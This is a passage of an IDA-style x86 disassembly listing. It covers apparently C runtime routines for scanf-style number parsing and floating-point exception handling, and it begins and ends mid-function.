cmp [ebp+var_30], 0
jz loc_420D71
cmp [ebp+var_F], 0
jnz loc_420D4F
loc_420C6C: ; CODE XREF: sub_420510+82Cj
cmp esi, 78h
jnz short loc_420CC0
cmp dword_43CBE4, 1
jle short loc_420C89
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420C96
; ---------------------------------------------------------------------------
loc_420C89: ; CODE XREF: sub_420510+768j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 80h
loc_420C96: ; CODE XREF: sub_420510+777j
test eax, eax
jz loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420D13
; ---------------------------------------------------------------------------
loc_420CC0: ; CODE XREF: sub_420510+75Fj
cmp dword_43CBE4, 1
jle short loc_420CD5
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420CD5: ; CODE XREF: sub_420510+7B7j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_420CE0: ; CODE XREF: sub_420510+7C3j
test eax, eax
jz short loc_420D41
cmp esi, 6Fh
jnz short loc_420CFE
cmp ebx, 38h
jge short loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423F90
jmp short loc_420D0D
; ---------------------------------------------------------------------------
loc_420CFE: ; CODE XREF: sub_420510+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D280
loc_420D0D: ; CODE XREF: sub_420510+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420D13: ; CODE XREF: sub_420510+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420D2B
dec [ebp+var_C]
jz short loc_420D4F
loc_420D2B: ; CODE XREF: sub_420510+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420C6C
; ---------------------------------------------------------------------------
loc_420D41: ; CODE XREF: sub_420510+788j
; sub_420510+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420D4F: ; CODE XREF: sub_420510+756j
; sub_420510+819j
cmp [ebp+var_17], 0
jz loc_420E35
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420E35
; ---------------------------------------------------------------------------
loc_420D71: ; CODE XREF: sub_420510+74Cj
cmp [ebp+var_F], 0
jnz loc_420E2D
loc_420D7B: ; CODE XREF: sub_420510+90Aj
cmp esi, 78h
jz short loc_420DBF
cmp esi, 70h
jz short loc_420DBF
cmp dword_43CBE4, 1
jle short loc_420D9A
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DA5
; ---------------------------------------------------------------------------
loc_420D9A: ; CODE XREF: sub_420510+87Cj
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_420DA5: ; CODE XREF: sub_420510+888j
test eax, eax
jz short loc_420E1F
cmp esi, 6Fh
jnz short loc_420DB8
cmp ebx, 38h
jge short loc_420E1F
shl edi, 3
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DB8: ; CODE XREF: sub_420510+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DBF: ; CODE XREF: sub_420510+86Ej
; sub_420510+873j
cmp dword_43CBE4, 1
jle short loc_420DD7
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DE4
; ---------------------------------------------------------------------------
loc_420DD7: ; CODE XREF: sub_420510+8B6j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 80h
loc_420DE4: ; CODE XREF: sub_420510+8C5j
test eax, eax
jz short loc_420E1F
push ebx
shl edi, 4
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420DF7: ; CODE XREF: sub_420510+8A6j
; sub_420510+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420E09
dec [ebp+var_C]
jz short loc_420E2D
loc_420E09: ; CODE XREF: sub_420510+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420D7B
; ---------------------------------------------------------------------------
loc_420E1F: ; CODE XREF: sub_420510+897j
; sub_420510+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420E2D: ; CODE XREF: sub_420510+865j
; sub_420510+8F7j
cmp [ebp+var_17], 0
jz short loc_420E35
neg edi
loc_420E35: ; CODE XREF: sub_420510+843j
; sub_420510+85Cj ...
cmp esi, 46h
jnz short loc_420E3E
and [ebp+var_1C], 0
loc_420E3E: ; CODE XREF: sub_420510+928j
cmp [ebp+var_1C], 0
jz loc_420F16
cmp [ebp+var_E], 0
jnz short loc_420E77
inc [ebp+var_34]
loc_420E51: ; CODE XREF: sub_420510+23Bj
cmp [ebp+var_30], 0
jz short loc_420E67
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E67: ; CODE XREF: sub_420510+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420E74
mov [eax], edi
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E74: ; CODE XREF: sub_420510+95Ej
mov [eax], di
loc_420E77: ; CODE XREF: sub_420510+241j
; sub_420510+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420EC4
; ---------------------------------------------------------------------------
loc_420E82: ; CODE XREF: sub_420510+93j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420EF1
mov ecx, off_43C9D8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420EC4
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420EFF
dec [ebp+var_4]
loc_420EC4: ; CODE XREF: sub_420510+970j
; sub_420510+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420EDA
cmp byte ptr [esi], 25h
jnz short loc_420F1C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420F1C
mov esi, eax
loc_420EDA: ; CODE XREF: sub_420510+9B8j
mov al, [esi]
test al, al
jnz loc_42053A
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EE6: ; CODE XREF: sub_420510+1F4j
; sub_420510+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EF1: ; CODE XREF: sub_420510+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420EF6: ; CODE XREF: sub_420510+9DFj
call sub_420F86
pop ecx
pop ecx
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EFF: ; CODE XREF: sub_420510+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420F86
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
add esp, 10h
loc_420F16: ; CODE XREF: sub_420510+1Fj
; sub_420510+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420F2D
loc_420F1C: ; CODE XREF: sub_420510+9BDj
; sub_420510+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420F30
cmp [ebp+var_15], al
jnz short loc_420F30
or eax, 0FFFFFFFFh
jmp short loc_420F30
; ---------------------------------------------------------------------------
loc_420F2D: ; CODE XREF: sub_420510+A0Aj
mov eax, [ebp+var_34]
loc_420F30: ; CODE XREF: sub_420510+A11j
; sub_420510+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420510 endp
; =============== S U B R O U T I N E =======================================
sub_420F35 proc near ; CODE XREF: sub_420510+7A3p
; sub_420510+8DCp
arg_0 = dword ptr 4
cmp dword_43CBE4, 1
push esi
jle short loc_420F4F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_420F5E
; ---------------------------------------------------------------------------
loc_420F4F: ; CODE XREF: sub_420F35+8j
mov esi, [esp+4+arg_0]
mov eax, off_43C9D8
mov al, [eax+esi*2]
and eax, 4
loc_420F5E: ; CODE XREF: sub_420F35+18j
test eax, eax
jnz short loc_420F68
and esi, 0FFFFFFDFh
sub esi, 7
loc_420F68: ; CODE XREF: sub_420F35+2Bj
mov eax, esi
pop esi
retn
sub_420F35 endp
; =============== S U B R O U T I N E =======================================
sub_420F6C proc near ; CODE XREF: sub_420510+1E1p
; sub_420510+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420F7E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420F7E: ; CODE XREF: sub_420F6C+7j
push edx
call sub_41F043
pop ecx
retn
sub_420F6C endp
; =============== S U B R O U T I N E =======================================
sub_420F86 proc near ; CODE XREF: sub_420510+6Bp
; sub_420510+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420F9C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423FAF
pop ecx
pop ecx
locret_420F9C: ; CODE XREF: sub_420F86+5j
retn
sub_420F86 endp
; =============== S U B R O U T I N E =======================================
sub_420F9D proc near ; CODE XREF: sub_420510+63p
; sub_420510+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420FA3: ; CODE XREF: sub_420F9D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420F6C
mov edi, eax
push edi
call sub_41D670
pop ecx
test eax, eax
pop ecx
jnz short loc_420FA3
mov eax, edi
pop edi
pop esi
retn
sub_420F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420FC1(int,int,double,int)
sub_420FC1 proc near ; CODE XREF: sub_41C679+51p
; sub_41C7BF+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D350, 0
jnz short loc_420FF6
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421576
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420FC1+Aj
push 0FFFFh
mov dword_4DB958, 21h
push [ebp+arg_C]
call sub_4217E9
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420FC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421014(int,int,double,double,int)
sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp
; sub_41C7BF:loc_41C882p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42135F
add esp, 0Ch
test eax, eax
jnz short loc_421052
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4210AC
add esp, 18h
loc_421052: ; CODE XREF: sub_421014+1Aj
push [ebp+arg_0]
call sub_421649
cmp dword_43D350, 0
pop ecx
jnz short loc_421090
test eax, eax
jz short loc_421090
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421576
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421090: ; CODE XREF: sub_421014+4Ej
; sub_421014+52j
push eax
call sub_4215FE
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_4217E9
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421014 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210AC proc near ; CODE XREF: sub_421014+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4210DE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4210DE: ; CODE XREF: sub_4210AC+23j
test cl, 2
jz short loc_4210F1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4210F1: ; CODE XREF: sub_4210AC+35j
test cl, bl
jz short loc_421103
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421103: ; CODE XREF: sub_4210AC+47j
test cl, 4
jz short loc_421116
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421116: ; CODE XREF: sub_4210AC+5Aj
test cl, 8
jz short loc_421129
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421129: ; CODE XREF: sub_4210AC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4217CC
test al, bl
jz short loc_4211B2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4211B2: ; CODE XREF: sub_4210AC+FDj
test al, 4
jz short loc_4211BD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4211BD: ; CODE XREF: sub_4210AC+108j
test al, 8
jz short loc_4211C8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4211C8: ; CODE XREF: sub_4210AC+113j
test al, 10h
jz short loc_4211D2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4211D2: ; CODE XREF: sub_4210AC+11Ej
test al, 20h
jz short loc_4211DC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4211DC: ; CODE XREF: sub_4210AC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42121B
cmp eax, 400h
jz short loc_42120D
cmp eax, 800h
jz short loc_421201
cmp eax, ecx
jnz short loc_421221
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_421201: ; CODE XREF: sub_4210AC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421217
; ---------------------------------------------------------------------------
loc_42120D: ; CODE XREF: sub_4210AC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421217: ; CODE XREF: sub_4210AC+15Fj
mov [eax], ecx
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_42121B: ; CODE XREF: sub_4210AC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421221: ; CODE XREF: sub_4210AC+14Bj
; sub_4210AC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42124C
cmp eax, 200h
jz short loc_42123F
cmp eax, ecx
jnz short loc_421259
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421259
; ---------------------------------------------------------------------------
loc_42123F: ; CODE XREF: sub_4210AC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421257
; ---------------------------------------------------------------------------
loc_42124C: ; CODE XREF: sub_4210AC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421257: ; CODE XREF: sub_4210AC+19Ej
mov [eax], ecx
loc_421259: ; CODE XREF: sub_4210AC+189j
; sub_4210AC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4217DA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 2660353h
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4212D3
and dword ptr [esi], 0FFFFFFFEh
loc_4212D3: ; CODE XREF: sub_4210AC+222j
test byte ptr [eax+8], 8
jz short loc_4212DC
and dword ptr [esi], 0FFFFFFFBh
loc_4212DC: ; CODE XREF: sub_4210AC+22Bj
test byte ptr [eax+8], 4
jz short loc_4212E5
and dword ptr [esi], 0FFFFFFF7h
loc_4212E5: ; CODE XREF: sub_4210AC+234j
test byte ptr [eax+8], 2
jz short loc_4212EE
and dword ptr [esi], 0FFFFFFEFh
loc_4212EE: ; CODE XREF: sub_4210AC+23Dj
test [eax+8], bl
jz short loc_4212F6
and dword ptr [esi], 0FFFFFFDFh
loc_4212F6: ; CODE XREF: sub_4210AC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42132A
dec ecx
jz short loc_42131E
dec ecx
jz short loc_421314
dec ecx
jnz short loc_42132C
or byte ptr [esi+1], 0Ch
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_421314: ; CODE XREF: sub_4210AC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421326
; ---------------------------------------------------------------------------
loc_42131E: ; CODE XREF: sub_4210AC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421326: ; CODE XREF: sub_4210AC+270j
mov [esi], ecx
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_42132A: ; CODE XREF: sub_4210AC+257j
and [esi], edx
loc_42132C: ; CODE XREF: sub_4210AC+260j
; sub_4210AC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42134C
dec ecx
jz short loc_421343
dec ecx
jnz short loc_421355
and [esi], edx
jmp short loc_421355
; ---------------------------------------------------------------------------
loc_421343: ; CODE XREF: sub_4210AC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421353
; ---------------------------------------------------------------------------
loc_42134C: ; CODE XREF: sub_4210AC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421353: ; CODE XREF: sub_4210AC+29Ej
mov [esi], ecx
loc_421355: ; CODE XREF: sub_4210AC+291j
; sub_4210AC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4210AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42135F proc near ; CODE XREF: sub_421014+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_42138A
test byte ptr [ebp+arg_8], bl
jz short loc_42138A
push ebx
call sub_42180C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42138A: ; CODE XREF: sub_42135F+15j
; sub_42135F+1Aj
test al, 4
jz short loc_4213A4
test byte ptr [ebp+arg_8], 4
jz short loc_4213A4
push 4
call sub_42180C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_4213A4: ; CODE XREF: sub_42135F+2Dj
; sub_42135F+33j
test al, bl
jz loc_42147E
test byte ptr [ebp+arg_8], 8
jz loc_42147E
push 8
call sub_42180C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421456
cmp ecx, 400h
jz short loc_42142E
cmp ecx, 800h
jz short loc_421406
cmp ecx, eax
jnz loc_421476
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fld dbl_43CF50
fnstsw ax
sahf
ja short loc_4213FE
fchs
loc_4213FE: ; CODE XREF: sub_42135F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421406: ; CODE XREF: sub_42135F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fnstsw ax
sahf
jbe short loc_42141E
fld dbl_43CF40
jmp short loc_421426
; ---------------------------------------------------------------------------
loc_42141E: ; CODE XREF: sub_42135F+B5j
fld dbl_43CF50
fchs
loc_421426: ; CODE XREF: sub_42135F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_42142E: ; CODE XREF: sub_42135F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fnstsw ax
sahf
jbe short loc_421446
fld dbl_43CF50
jmp short loc_42144E
; ---------------------------------------------------------------------------
loc_421446: ; CODE XREF: sub_42135F+DDj
fld dbl_43CF40
fchs
loc_42144E: ; CODE XREF: sub_42135F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421456: ; CODE XREF: sub_42135F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fld dbl_43CF40
fnstsw ax
sahf
ja short loc_42146E
fchs
loc_42146E: ; CODE XREF: sub_42135F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421474: ; CODE XREF: sub_42135F+A5j
; sub_42135F+CDj ...
fstp qword ptr [ecx]
loc_421476: ; CODE XREF: sub_42135F+81j
and edi, 0FFFFFFFEh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42147E: ; CODE XREF: sub_42135F+47j
; sub_42135F+51j
test al, 2
jz loc_421554
test byte ptr [ebp+arg_8], 10h
jz loc_421554
push esi
xor esi, esi
test al, 10h
jz short loc_421499
mov esi, ebx
loc_421499: ; CODE XREF: sub_42135F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427878
fnstsw ax
sahf
jz loc_421542
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42170B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4214E4
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421538
; ---------------------------------------------------------------------------
loc_4214E4: ; CODE XREF: sub_42135F+17Aj
fld [ebp+var_C]
fcomp dbl_427878
fnstsw ax
sahf
jnb short loc_4214F6
mov edx, ebx
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214F6: ; CODE XREF: sub_42135F+191j
xor edx, edx
loc_4214F8: ; CODE XREF: sub_42135F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_42152C
sub eax, ecx
loc_42150F: ; CODE XREF: sub_42135F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42151A
test esi, esi
jnz short loc_42151A
mov esi, ebx
loc_42151A: ; CODE XREF: sub_42135F+1B3j
; sub_42135F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421526
or byte ptr [ebp+var_C+3], 80h
loc_421526: ; CODE XREF: sub_42135F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_42150F
loc_42152C: ; CODE XREF: sub_42135F+1ACj
test edx, edx
jz short loc_421538
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421538: ; CODE XREF: sub_42135F+183j
; sub_42135F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421544
; ---------------------------------------------------------------------------
loc_421542: ; CODE XREF: sub_42135F+14Ej
mov esi, ebx
loc_421544: ; CODE XREF: sub_42135F+1E1j
test esi, esi
pop esi
jz short loc_421551
push 10h
call sub_42180C
pop ecx
loc_421551: ; CODE XREF: sub_42135F+1E8j
and edi, 0FFFFFFFDh
loc_421554: ; CODE XREF: sub_42135F+26j
; sub_42135F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_42156B
test byte ptr [ebp+arg_8], 20h
jz short loc_42156B
push 20h
call sub_42180C
pop ecx
and edi, 0FFFFFFEFh
loc_42156B: ; CODE XREF: sub_42135F+1F9j
; sub_42135F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42135F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421576(int,int,int,int,int,int,double,int)
sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp
; sub_421014+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421624
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_4215E1
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_4217E9
lea eax, [ebp+var_20]
push eax
call sub_42401D
add esp, 0Ch
